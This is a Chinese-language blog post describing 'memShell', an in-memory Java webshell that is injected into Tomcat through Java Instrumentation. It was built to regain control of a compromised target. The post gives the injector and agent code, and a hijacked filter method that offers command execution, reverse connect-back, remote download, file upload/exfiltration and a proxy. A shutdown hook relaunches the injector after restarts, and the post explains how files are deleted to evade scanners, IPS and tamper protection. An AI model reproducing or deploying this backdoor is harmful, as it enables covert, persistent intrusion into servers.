1. 程式人生 > >利用“進程註入”實現無文件復活 WebShell

利用“進程註入”實現無文件復活 WebShell

找到 容器 position 應用程序 實操 可能 java虛擬機 開始 寫到

引子

上周末,一個好兄弟找我說一個很重要的目標shell丟了,這個shell之前是通過一個S2代碼執行的漏洞拿到的,現在漏洞還在,不過web目錄全部不可寫,問我有沒有辦法搞個webshell繼續做內網。正好我之前一直有個通過“進程註入”來實現內存webshell的想法,於是就趁這個機會以Java為例做了個內存webshell出來(暫且叫它memShell吧),給大家分享一下:)

前言

一般在滲透過程中,我們通常會用到webshell,一個以文件的形式存在於Web容器內的惡意腳本文件。我們通過webshell來讓Web Server來執行我們的任意指令。如果在某些機選情況下,我們不想或者不能在Web目錄下面寫入文件,是不是就束手無策了?當然不是,寫入webshell並不是讓Web Server來執行我們任意代碼的唯一方式,通過直接修改進程的內存也可以實現這個目的。我們只要擁有一個web容器進程執行用戶的權限,理論上就可以完全控制該進程的地址空間(更確切的說是地址空間中的非Kernel部分),包括地址空間內的數據和代碼。OS層進程註入的方法有很多,不過具體到Java環境,我們不需要使用操作系統層面的進程註入方法。Java為我們提供了更方便的接口:Java Instrumentation。

Java Instrumentation簡介

先看下官方概念:java Instrumentation指的是可以用獨立於應用程序之外的代理(agent)程序來監測和協助運行在JVM上的應用程序。這種監測和協助包括但不限於獲取JVM運行時狀態,替換和修改類定義等。簡單一句話概括下:Java Instrumentation可以在JVM啟動後,動態修改已加載或者未加載的類,包括類的屬性、方法。該機制最早於Java SE5 引入,Java SE6之後的機制相對於Java SE5有較大改進,因為現在Java SE5這種古董級別的環境已經不多,此處不再贅述。

下面看一個簡單的例子:首先新建3個Java工程Example、Agent和AgentStarter。

在工程Example中新建2個類:

Bird.java:
public class Bird {
    public void say()
    {
        System.out.println("bird is gone.");
    }
}

然後把編譯後的Bird.class復制出來,放到D盤根目錄。然後把Bird.java再改成如下:

Bird.java:
public class Bird {
    public void say()
    {
        System.out.println("bird say hello");
    }
}
Main.java:
public class Main {
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        while(true)
        {
            Bird bird=new Bird();
            bird.say();
            Thread.sleep(3000);
        }    
    }
}

把整個工程打包成可執行jar包normal.jar,放到D盤根目錄。在工程Agent中新建2個類:

AgentEntry.java:
public class AgentEntry { 
   public static void agentmain(String agentArgs, Instrumentation inst) 
           throws ClassNotFoundException, UnmodifiableClassException, 
           InterruptedException { 
       inst.addTransformer(new Transformer (), true); 
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("Bird")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
       System.out.println("Class changed!"); 
   } 
}
Transformer.java:
public class Transformer implements ClassFileTransformer { 
   static byte[] mergeByteArray(byte[]... byteArray) {
       int totalLength = 0;
       for(int i = 0; i < byteArray.length; i ++) {
           if(byteArray[i] == null) {
               continue;
           }
           totalLength += byteArray[i].length;
       }
       byte[] result = new byte[totalLength];
       int cur = 0;
       for(int i = 0; i < byteArray.length; i++) {
           if(byteArray[i] == null) {
               continue;
           }
           System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
           cur += byteArray[i].length;
       }
       return result;
   }
   public static byte[] getBytesFromFile(String fileName) { 
       try { 
           byte[] result=new byte[] {};
           InputStream is = new FileInputStream(new File(fileName)); 
           byte[] bytes = new byte[1024];
           int num = 0;
           while ((num = is.read(bytes)) != -1) {
               result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num));       
           }
           is.close();
           return result; 
       } catch (Exception e) { 
           e.printStackTrace();
           return null;
       } 
   } 
   public byte[] transform(ClassLoader classLoader, String className, Class<?> c, 
           ProtectionDomain pd, byte[] b) throws IllegalClassFormatException { 
       if (!className.equals("Bird")) { 
           return null; 
       } 
       return getBytesFromFile("d:/Bird.class"); 
   } 
}

新建一個mainfest文件:

MAINFEST.MF:
Manifest-Version: 1.0 
Agent-Class: AgentEntry
Can-Retransform-Classes: true

然後把Agent工程打包為agent.jar,放到D盤根目錄。在AgentStarter工程中新建1個類:

Attach.java:
public class Attach {
    public static void main(String[] args) throws Exception {
        VirtualMachine vm = null;
        List<VirtualMachineDescriptor> listAfter = null;
        List<VirtualMachineDescriptor> listBefore = null;
        listBefore = VirtualMachine.list();
        while (true) {
            try {
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0)
                    continue;
                for (VirtualMachineDescriptor vmd : listAfter) {
                    vm = VirtualMachine.attach(vmd);
                    listBefore.add(vmd);
                    System.out.println("i find a vm,agent.jar was injected.");
                    Thread.sleep(1000);
                    if (null != vm) {
                        vm.loadAgent("d:/agent.jar");
                        vm.detach();
                    }
                }
                break;
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

把AgentStarter打包成可執行jar包run.jar,放到D盤根目錄。這時候,D盤根目錄列表如下:

技術分享圖片下面開啟兩個命令行窗口,先運行normal.jar,再運行run.jar:

技術分享圖片很明顯我們動態改變了正在執行的normal.jar進程中Bird類的say方法體。OK,基本原理就介紹到這裏,下面我們拿tomcat來實操。

確定關鍵類

我們想要實現這樣一種效果,訪問web服務器上的任意一個url,無論這個url是靜態資源還是jsp文件,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令。為了達到這個目的,需要找一個特殊的類,這個類要盡可能在http請求調用棧的上方,又不能與具體的URL有耦合,而且還能接受客戶端request中的數據。經過分析,發現org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法最符合我們的要求,首先看一下internalDoFilter方法的原型:

 private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {}

該方法有ServletRequest和ServletResponse兩個參數,裏面封裝了用戶請求的request和response。另外,internalDoFilter方法是自定義filter的入口,如下圖:

技術分享圖片市面上各種流行的Java Web類框架,都是通過一個自定義filter來接管用戶請求的,所以在在internalDoFilter方法中註入通用型更強。下面我們要做的就是修改internalDoFilter方法的字節碼,一般用asm或者javaassist來協助修改字節碼。asm執行性能高,不過易用性差,一般像RASP這種對性能要求比較高的產品會優先采用。javaassist執行性能稍差,不過是源代碼級的,易用性較好,本文即用此方法。

定制internalDoFilter

internalDoFilter是memShell接收用戶請求的入口,我們在方法開始處插入如下的代碼段(節選):

if (pass_the_world!=null&&pass_the_world.equals("rebeyond"))
            {
                if (model==null||model.equals(""))
                {
                    result=Shell.help();
                }
                else if (model.equalsIgnoreCase("exec"))
                {
                    String cmd=request.getParameter("cmd");
                    result=Shell.execute(cmd);
                }
                else if (model.equalsIgnoreCase("connectback"))
                {
                    String ip=request.getParameter("ip");
                    String port=request.getParameter("port");
                    result=Shell.connectBack(ip, port);
                }
                else if (model.equalsIgnoreCase("urldownload"))
                {
                    String url=request.getParameter("url");
                    String path=request.getParameter("path");
                    result=Shell.urldownload(url, path);
                }
                else if (model.equalsIgnoreCase("list"))
                {
                    String path=request.getParameter("path");
                    result=Shell.list(path);
                }
                else if (model.equalsIgnoreCase("download"))
                {
                    String path=request.getParameter("path");
                    java.io.File f = new java.io.File(path);
                    if (f.isFile()) {
                        String fileName = f.getName();
                        java.io.InputStream inStream = new java.io.FileInputStream(path);
                        response.reset();
                        response.setContentType("bin");
                        response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
                        byte[] b = new byte[100];
                        int len;
                            while ((len = inStream.read(b)) > 0)
                                response.getOutputStream().write(b, 0, len);
                            inStream.close();
                            return;
                    }
                }
                else if (model.equalsIgnoreCase("upload"))
                {
                    String path=request.getParameter("path");
                    String fileContent=request.getParameter("fileContent");
                    result=Shell.upload(path, fileContent);
                }
                else if (model.equalsIgnoreCase("proxy"))
                {
                    new Proxy().doProxy(request, response);
                    return;
                }
                else if (model.equalsIgnoreCase("chopper"))
                {
                    new Evaluate().doPost(request, response);
                    return;
                }
                response.getWriter().print(result);
                return;
            }
        }
        catch(Exception e)
        {
            response.getWriter().print(e.getMessage());
        }

首先判斷是否有pass_the_world密碼字段,如果請求中沒有帶pass_the_world字段,說明是正常的訪問請求,直接轉到正常的處理流程中去,不進入webshell流程,避免影響正常業務。如果請求中有pass_the_world字段且密碼正確,再判斷當前請求的model類型,分別分發到不通的處理分支中去。為了避免對internalDoFilter自身做太大的改動,我把一些比較復雜的邏輯抽象到了外部agent.jar中去實現,由於外部jar包和javax.servlet相關的類classloader不一致,外部jar包中用到了反射的方法去執行一些無法找到的類,比如ServletRquest、ServletResponse等。

最終我們生成了2個jar包,一個inject.jar(功能類似前文demo中的run.jar),用來枚舉當前機器上的jvm實例並進行代碼註入。一個agent.jar,包含我們自定義的常見shell類功能,agent.jar會被inject.jar註入到tomcat進程中。執行java –jar inject.jar完成進程註入動作之後,可以把這兩個jar包刪除,這樣我們就擁有了一個memShell,完全存在於內存中的webshell,硬盤上沒有任何痕跡,再也不用擔心各種webshell掃描工具,IPS,頁面防篡改系統,一切看上去好像很完美。但是……內存中的數據,在進程關閉後就會丟失,如果tomcat被重啟,我們的webshell也會隨之消失,那豈不是然並卵?當然不是。

復活技術

既然文章標題提到了我們要實現的是不死webshell,就一定要保證在tomcat服務重啟後還能存活。memShell通過設置Java虛擬機的關閉鉤子ShutdownHook來達到這個目的。ShutdownHook是JDK提供的一個用來在JVM關掉時清理現場的機制,這個鉤子可以在如下場景中被JVM調用:

1.程序正常退出

2.使用System.exit()退出

3.用戶使用Ctrl+C觸發的中斷導致的退出

4.用戶註銷或者系統關機

5.OutofMemory導致的退出

6.Kill pid命令導致的退出所以ShutdownHook可以很好的保證在tomcat關閉時,我們有機會埋下復活的種子:)如下為我們自定義的ShutdownHook代碼片段:

  public static void persist() {
      try {
          Thread t = new Thread() {
              public void run() {
                  try {
                      writeFiles("inject.jar",Agent.injectFileBytes);
                      writeFiles("agent.jar",Agent.agentFileBytes);
                      startInject();
                  } catch (Exception e) {
                  }
              }
          };
          t.setName("shutdown Thread");
          Runtime.getRuntime().addShutdownHook(t);
      } catch (Throwable t) {
      }

JVM關閉前,會先調用writeFiles把inject.jar和agent.jar寫到磁盤上,然後調用startInject,startInject通過Runtime.exec啟動java -jar inject.jar。

memShell流程梳理

下面我們來梳理一下memShell的整個植入流程:

1.將inject.jar和agent.jar上傳至目標Web Server任意目錄下。

2.以tomcat進程啟動的OS用戶執行java –jar inject.jar。

3.inject.jar會通過一個循環遍歷查找Web Server上的JVM進程,並把agent.jar註入進JVM進程中,直到註入成功後,inject.jar才會退出。

4.註入成功後,agent.jar執行agentmain方法,該方法主要做以下幾件事情:

a) 遍歷所有已經加載的類,查找“org.apache.catalina.core.ApplicationFilterChain”,並對該類的internalDoFilter方法進行修改。

b) 修改完之後,把磁盤上的inject.jar和agent.jar讀進tomcat內存中。

c) 對memShell做初始訪問。為什麽要做一次初始化訪問呢?因為我們下一步要從磁盤上刪掉agent.jar和inject.jar,在刪除之前如果沒有訪問過memShell的話,memShell相關的一些類就不會加載進內存,這樣後續我們在訪問memShell的時候就會報ClassNotFound異常。有兩種方法初始化類,第一是挨個把需要的類手動加載一次,第二是模擬做一次初始化訪問,memShell采用的後者。

d) 刪除磁盤上的inject.jar和agent.jar。當Web Server是Linux系統的時候,正常刪除文件即可。當Web Server是Windows系統的時候,由於Windows具有文件鎖定機制,當一個文件被其他程序占用時,這個文件是處於鎖定狀態不可刪除的,inject.jar正在被JVM所占用。要刪除這個jar包,需要先打開該進程,遍歷該進程的文件句柄,通過DuplicateHandle來巧妙的關閉文件句柄,然後再執行刪除,我把這個查找句柄、關閉句柄的操作寫進了一個exe中,memShell判斷WebServer是Windows平臺時,會先釋放這個exe文件來關閉句柄,再刪除agent.jar。

5.memShell註入完畢,正常接收請求,通過訪問http://xxx/anyurl?show_the_world=password可以看到plain風格的使用說明(為什麽是plain風格,因為懶)。

6.當JVM關閉時,會首先執行我們註冊的ShutdownHook:

a) 把第4(b)步中我們讀進內存的inject.jar和agent.jar寫入JVM臨時目錄。

b) 執行java -jar inject.jar,此後過程便又回到上述第3步中,形成一個閉環結構。

到此,memShell的整個流程就介紹完畢了。

memShell用法介紹

1.memShell實現了常見的webshell的功能,像命令執行:

技術分享圖片

2.memShell通過內嵌reGeorg實現了socks5代理轉發功能,方便內網滲透:

技術分享圖片這裏要說明一下,因為reGeorg官方的reGeorgSocksProxy.py不支持帶參數的URL,所有我們要稍微改造一下reGeorgSocksProxy.py:

技術分享圖片把第375行改成上圖所示即可。

3.memShell內嵌了菜刀一句話:

技術分享圖片

4.只設置訪問密碼,不設置model類型可查看plain style的help:

技術分享圖片

後記

本文僅以Java+tomcat為例來介紹內存webshell的原理及實現,其他幾種容器如JBOSS、WebLogic等,只是“定位關鍵類”那一步稍有不同,其他環節都是通用的。理論上其他幾種語言同樣可以實現類似的功能,我就算給大家拋磚引玉了。?

Github代碼地址:https://github.com/rebeyond/memShell??

裏面有很多功能還有可以改進的地方,後面有時間再慢慢完善吧。

最後,華為終端雲SilverNeedle團隊誠招各路安全人才(APT方向),待遇優厚,歡迎私信推薦和自薦:)

參考

1.https://www.ibm.com/developerworks/cn/java/j-lo-jse61/index.html

利用“進程註入”實現無文件復活 WebShell